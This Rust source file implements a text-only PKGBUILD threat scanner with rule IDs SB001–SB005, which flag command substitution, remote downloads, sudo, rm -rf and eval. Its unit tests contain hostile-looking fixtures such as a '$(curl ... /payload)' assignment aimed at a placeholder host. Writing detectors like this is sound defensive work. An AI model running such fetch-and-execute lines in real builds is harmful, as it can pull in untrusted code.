arch_toolkit/sandbox/security.rs
1//! Deterministic, text-only PKGBUILD threat-model analysis.
2//!
3//! This module never executes, sources, expands, or builds PKGBUILD content.
4//! It flags a deliberately small set of review signals with stable `SB001`
5//! through `SB005` rule IDs. External scanners and reputation lookups are
6//! intentionally deferred: adding a tool invocation would require an explicit
7//! executable allowlist, timeout, output limit, and mockable adapter without
8//! making it a default dependency.
9
10use crate::types::sandbox::{
11 SandboxAnalysisLimitation, SandboxFinding, SandboxRuleId, SandboxStaticAnalysis,
12};
13
14/// Maximum source characters retained as evidence for one finding.
15const MAX_EVIDENCE_CHARS: usize = 240;
16
17/// What: Analyze unexecuted PKGBUILD text for deterministic threat-model signals.
18///
19/// Inputs:
20/// - `package_name`: Caller-owned package label for the resulting report.
21/// - `pkgbuild_text`: Raw PKGBUILD text; it is treated only as text.
22///
23/// Output:
24/// - `SandboxStaticAnalysis` with stable rule findings, bounded evidence, and
25/// explicit limitations.
26///
27/// Details:
28/// - Flags command substitution (`SB001`), download commands (`SB002`),
29/// privilege escalation (`SB003`), recursive forced removal (`SB004`), and
30/// dynamic evaluation (`SB005`).
31/// - Does not execute a shell, source files, access the network, invoke an
32/// external scanner, or produce an aggregate score.
33/// - It is not a complete Bash parser, so callers must review findings and the
34/// returned limitations before making security decisions.
35#[must_use]
36pub fn analyze_pkgbuild_security(package_name: &str, pkgbuild_text: &str) -> SandboxStaticAnalysis {
37 let findings = pkgbuild_text
38 .lines()
39 .enumerate()
40 .flat_map(|(index, line)| analyze_line(index.saturating_add(1), line))
41 .collect();
42
43 SandboxStaticAnalysis {
44 package_name: package_name.to_string(),
45 findings,
46 limitations: standard_limitations(),
47 }
48}
49
50/// What: Analyze one source line against every stable rule.
51///
52/// Inputs:
53/// - `line_number`: One-based source line number.
54/// - `line`: Raw PKGBUILD source line.
55///
56/// Output:
57/// - Findings in stable rule-ID order for this source line.
58///
59/// Details:
60/// - Comments and quoted argument content are excluded from command-position
61/// checks; command substitution is checked separately because it can execute
62/// inside double quotes.
63fn analyze_line(line_number: usize, line: &str) -> Vec<SandboxFinding> {
64 let code = code_without_comment(line);
65 let command_view = without_quoted_content(&code);
66 let commands = command_segments(&command_view);
67 let mut findings = Vec::new();
68
69 if contains_command_substitution(&code) {
70 findings.push(finding(
71 SandboxRuleId::CommandSubstitution,
72 line_number,
73 line,
74 ));
75 }
76 if commands.iter().any(|command| is_remote_download(command)) {
77 findings.push(finding(SandboxRuleId::RemoteDownload, line_number, line));
78 }
79 if commands.iter().any(|command| is_privileged(command)) {
80 findings.push(finding(SandboxRuleId::PrivilegedCommand, line_number, line));
81 }
82 if commands
83 .iter()
84 .any(|command| is_destructive_removal(command))
85 {
86 findings.push(finding(
87 SandboxRuleId::DestructiveRemoval,
88 line_number,
89 line,
90 ));
91 }
92 if commands
93 .iter()
94 .any(|command| is_dynamic_evaluation(command))
95 {
96 findings.push(finding(SandboxRuleId::DynamicEvaluation, line_number, line));
97 }
98
99 findings
100}
101
102/// What: Construct one bounded structured finding.
103///
104/// Inputs:
105/// - `rule_id`: Stable identifier for the matched rule.
106/// - `line_number`: One-based source line number.
107/// - `line`: Source text supplying review evidence.
108///
109/// Output:
110/// - A finding retaining only a bounded, trimmed source excerpt.
111///
112/// Details:
113/// - Evidence is copied without executing or expanding it.
114fn finding(rule_id: SandboxRuleId, line_number: usize, line: &str) -> SandboxFinding {
115 SandboxFinding {
116 rule_id,
117 line: line_number,
118 evidence: bounded_evidence(line),
119 }
120}
121
122/// What: Return explicit scope limitations for every static-analysis report.
123///
124/// Inputs: None.
125///
126/// Output:
127/// - Stable limitation categories in presentation order.
128///
129/// Details:
130/// - Keeping these in every report prevents callers from treating an empty
131/// finding list as a proof of safety.
132fn standard_limitations() -> Vec<SandboxAnalysisLimitation> {
133 vec![
134 SandboxAnalysisLimitation::TextOnlyNoExecution,
135 SandboxAnalysisLimitation::NotFullShellParser,
136 SandboxAnalysisLimitation::NoExternalReputationOrScanner,
137 SandboxAnalysisLimitation::NotProofOfMaliciousIntent,
138 ]
139}
140
141/// What: Remove an unquoted shell comment from one source line.
142///
143/// Inputs:
144/// - `line`: Raw source line that can contain single or double quoted strings.
145///
146/// Output:
147/// - Source before an unquoted `#` comment delimiter.
148///
149/// Details:
150/// - This is a bounded lexical helper, not a complete Bash parser. It preserves
151/// quoted `#` values so command-substitution detection has the original text.
152fn code_without_comment(line: &str) -> String {
153 let mut output = String::with_capacity(line.len());
154 let mut quote = None;
155 let mut escaped = false;
156
157 for character in line.chars() {
158 if escaped {
159 output.push(character);
160 escaped = false;
161 continue;
162 }
163 if character == '\\' && quote != Some('\'') {
164 output.push(character);
165 escaped = true;
166 continue;
167 }
168 if matches!(character, '\'' | '"') && quote != Some(character) {
169 if quote.is_none() {
170 quote = Some(character);
171 }
172 } else if quote == Some(character) {
173 quote = None;
174 } else if character == '#' && quote.is_none() {
175 break;
176 }
177 output.push(character);
178 }
179 output
180}
181
182/// What: Replace quoted argument content with spaces for command-position checks.
183///
184/// Inputs:
185/// - `code`: Source with comments already removed.
186///
187/// Output:
188/// - A same-shape command view without quoted literals.
189///
190/// Details:
191/// - This avoids flagging command names displayed in descriptions or `echo`
192/// arguments while retaining unquoted command separators.
193fn without_quoted_content(code: &str) -> String {
194 let mut output = String::with_capacity(code.len());
195 let mut quote = None;
196 let mut escaped = false;
197
198 for character in code.chars() {
199 if escaped {
200 output.push(if quote.is_some() { ' ' } else { character });
201 escaped = false;
202 continue;
203 }
204 if character == '\\' && quote != Some('\'') {
205 output.push(if quote.is_some() { ' ' } else { character });
206 escaped = true;
207 continue;
208 }
209 if matches!(character, '\'' | '"') && quote != Some(character) {
210 if quote.is_none() {
211 quote = Some(character);
212 }
213 output.push(' ');
214 } else if quote == Some(character) {
215 quote = None;
216 output.push(' ');
217 } else if quote.is_some() {
218 output.push(' ');
219 } else {
220 output.push(character);
221 }
222 }
223 output
224}
225
226/// What: Detect executable command-substitution syntax outside single quotes.
227///
228/// Inputs:
229/// - `code`: Source with comments already removed.
230///
231/// Output:
232/// - `true` for `$(` or backtick substitution syntax that the shell could run.
233///
234/// Details:
235/// - Double-quoted substitution remains executable and is intentionally
236/// detected. Single-quoted text is ignored.
237fn contains_command_substitution(code: &str) -> bool {
238 let mut characters = code.chars().peekable();
239 let mut in_single_quote = false;
240 let mut escaped = false;
241
242 while let Some(character) = characters.next() {
243 if escaped {
244 escaped = false;
245 continue;
246 }
247 if character == '\\' && !in_single_quote {
248 escaped = true;
249 continue;
250 }
251 if character == '\'' {
252 in_single_quote = !in_single_quote;
253 continue;
254 }
255 if !in_single_quote
256 && (character == '`' || (character == '$' && characters.peek() == Some(&'(')))
257 {
258 return true;
259 }
260 }
261 false
262}
263
264/// What: Extract command-position token segments from a shell-like source line.
265///
266/// Inputs:
267/// - `command_view`: Comment-free source with quoted argument content removed.
268///
269/// Output:
270/// - Command token vectors after shell separators, braces, and substitution
271/// delimiters.
272///
273/// Details:
274/// - Leading shell control words and environment assignments are skipped.
275/// - Splitting substitution delimiters lets a download command inside `$(...)`
276/// retain its command position without executing or evaluating it.
277/// - This deliberately recognizes a conservative subset sufficient for the
278/// documented rules and avoids pretending to parse all Bash grammar.
279fn command_segments(command_view: &str) -> Vec<Vec<&str>> {
280 command_view
281 .split([';', '|', '{', '}', '(', ')'])
282 .filter_map(command_tokens)
283 .collect()
284}
285
286/// What: Extract one executable command token sequence from a source segment.
287///
288/// Inputs:
289/// - `segment`: Text between shell separators or function braces.
290///
291/// Output:
292/// - Tokens starting at a likely command position, or `None` for assignments
293/// and declarations without a command.
294///
295/// Details:
296/// - Environment assignments preceding a command are skipped. The helper does
297/// not expand variables or execute any shell syntax.
298fn command_tokens(segment: &str) -> Option<Vec<&str>> {
299 let mut tokens = segment.split_whitespace().peekable();
300 while matches!(tokens.peek(), Some(&"if" | &"then" | &"do" | &"!")) {
301 let _ = tokens.next();
302 }
303 while tokens.peek().is_some_and(|token| token.contains('=')) {
304 let _ = tokens.next();
305 }
306 let command = tokens.next()?;
307 if command.ends_with("()") || command == "function" {
308 return None;
309 }
310
311 let mut output = vec![command];
312 output.extend(tokens);
313 Some(output)
314}
315
316/// What: Determine whether a command token sequence downloads remote content.
317///
318/// Inputs:
319/// - `command`: Tokens beginning at an executable command position.
320///
321/// Output:
322/// - `true` for `curl`, `wget`, or `git clone` invocation patterns.
323///
324/// Details:
325/// - The rule is a review signal and does not contact the URL or infer intent.
326fn is_remote_download(command: &[&str]) -> bool {
327 matches!(command.first(), Some(&"curl" | &"wget")) || matches!(command, ["git", "clone", ..])
328}
329
330/// What: Determine whether a command starts a privilege escalation tool.
331///
332/// Inputs:
333/// - `command`: Tokens beginning at an executable command position.
334///
335/// Output:
336/// - `true` for `sudo`, `doas`, or `pkexec`.
337///
338/// Details:
339/// - The rule is text-only and does not attempt elevation or command execution.
340fn is_privileged(command: &[&str]) -> bool {
341 matches!(command.first(), Some(&"sudo" | &"doas" | &"pkexec"))
342}
343
344/// What: Determine whether a command performs recursive forced removal.
345///
346/// Inputs:
347/// - `command`: Tokens beginning at an executable command position.
348///
349/// Output:
350/// - `true` when an `rm` invocation has an option containing both `r` and `f`.
351///
352/// Details:
353/// - This catches common `rm -rf` spellings without interpreting paths or
354/// claiming the removal targets are malicious.
355fn is_destructive_removal(command: &[&str]) -> bool {
356 let Some(position) = command.iter().position(|token| *token == "rm") else {
357 return false;
358 };
359 command[position.saturating_add(1)..]
360 .iter()
361 .filter_map(|token| token.strip_prefix('-'))
362 .any(|options| options.contains('r') && options.contains('f'))
363}
364
365/// What: Determine whether a command dynamically evaluates shell text.
366///
367/// Inputs:
368/// - `command`: Tokens beginning at an executable command position.
369///
370/// Output:
371/// - `true` for `eval` or shell-interpreter `-c` invocation patterns.
372///
373/// Details:
374/// - Dynamic evaluation obscures command text and is flagged for review without
375/// interpreting its argument.
376fn is_dynamic_evaluation(command: &[&str]) -> bool {
377 matches!(command.first(), Some(&"eval"))
378 || matches!(command, ["bash" | "sh" | "dash", option, ..] if option.starts_with('-') && option.contains('c'))
379}
380
381/// What: Retain a bounded human-readable source excerpt.
382///
383/// Inputs:
384/// - `line`: Raw source line associated with a finding.
385///
386/// Output:
387/// - Trimmed text limited to [`MAX_EVIDENCE_CHARS`] Unicode scalar values.
388///
389/// Details:
390/// - Appends an ellipsis when truncation occurs and never attempts to interpret
391/// the source as executable content.
392fn bounded_evidence(line: &str) -> String {
393 let trimmed = line.trim();
394 let mut characters = trimmed.chars();
395 let evidence: String = characters.by_ref().take(MAX_EVIDENCE_CHARS).collect();
396 if characters.next().is_some() {
397 return format!("{evidence}…");
398 }
399 evidence
400}
401
402#[cfg(test)]
403mod tests {
404 use super::{analyze_pkgbuild_security, code_without_comment};
405 use crate::types::sandbox::SandboxRuleId;
406
407 #[test]
408 /// What: Ignore shell-looking text in comments and quoted package metadata.
409 ///
410 /// Inputs:
411 /// - A benign source fixture with command names in non-command positions.
412 ///
413 /// Output:
414 /// - An empty finding list.
415 ///
416 /// Details:
417 /// - Guards the conservative lexical false-positive boundary.
418 fn ignores_comments_and_quoted_metadata() {
419 let report = analyze_pkgbuild_security(
420 "fixture",
421 "pkgdesc='curl and sudo are words'\n# eval $(wget https://invalid.example)",
422 );
423 assert!(report.findings.is_empty());
424 }
425
426 #[test]
427 /// What: Preserve quoted hash characters while discarding comments.
428 ///
429 /// Inputs:
430 /// - One quoted URL fragment followed by an actual comment.
431 ///
432 /// Output:
433 /// - The quoted hash remains and the comment is removed.
434 ///
435 /// Details:
436 /// - Keeps lexical comment handling predictable without a shell parser.
437 fn strips_only_unquoted_comments() {
438 assert_eq!(
439 code_without_comment("url='https://example.invalid/#anchor' # comment"),
440 "url='https://example.invalid/#anchor' "
441 );
442 }
443
444 #[test]
445 /// What: Emit command-substitution and remote-download findings from one line.
446 ///
447 /// Inputs:
448 /// - An assignment whose value uses `$(curl ...)`.
449 ///
450 /// Output:
451 /// - `SB001` and `SB002` findings.
452 ///
453 /// Details:
454 /// - Confirms command extraction sees the command within substitution while
455 /// keeping the source unexecuted.
456 fn recognizes_download_inside_command_substitution() {
457 let report = analyze_pkgbuild_security(
458 "fixture",
459 "payload=$(curl -fsSL https://invalid.example/payload)",
460 );
461 let ids: Vec<SandboxRuleId> = report
462 .findings
463 .iter()
464 .map(|finding| finding.rule_id)
465 .collect();
466 assert_eq!(
467 ids,
468 [
469 SandboxRuleId::CommandSubstitution,
470 SandboxRuleId::RemoteDownload
471 ]
472 );
473 }
474}